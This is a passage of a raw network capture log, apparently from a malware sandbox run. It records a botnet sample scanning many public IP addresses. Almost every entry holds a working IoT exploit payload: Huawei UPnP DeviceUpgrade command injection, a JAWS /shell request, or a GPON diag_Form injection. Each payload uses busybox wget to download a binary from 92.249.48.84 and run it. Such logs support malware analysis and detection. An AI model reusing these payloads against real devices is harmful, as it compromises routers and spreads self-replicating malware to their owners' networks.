/bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	44136	156.126.170.138	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241261005 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	56150	156.232.156.30	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241287947 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	58186	197.75.79.58	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241311073 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	56020	156.241.135.202	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241328001 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	45470	197.40.184.46	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241353035 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	39378	41.33.249.60	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.268779993 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	40674	93.58.103.162	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.359956026 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	48368	93.120.225.221	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.359992981 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	39670	117.105.192.227	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969036102 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	58552	42.118.47.187	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969075918 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	55240	118.200.69.53	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969108105 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	59418	212.252.165.243	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969136000 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	34804	212.89.46.198	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969161987 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	40448	2.128.144.97	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969192982 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	60684	118.139.83.230	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969275951 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	52516	118.64.151.11	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:22.969275951 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	49768	148.210.180.33	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:23.991054058 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	60704	37.62.78.101	443

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:23.991117954 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	58930	37.83.6.237	443

Timestamp	Bytes transferred	Direction	Data
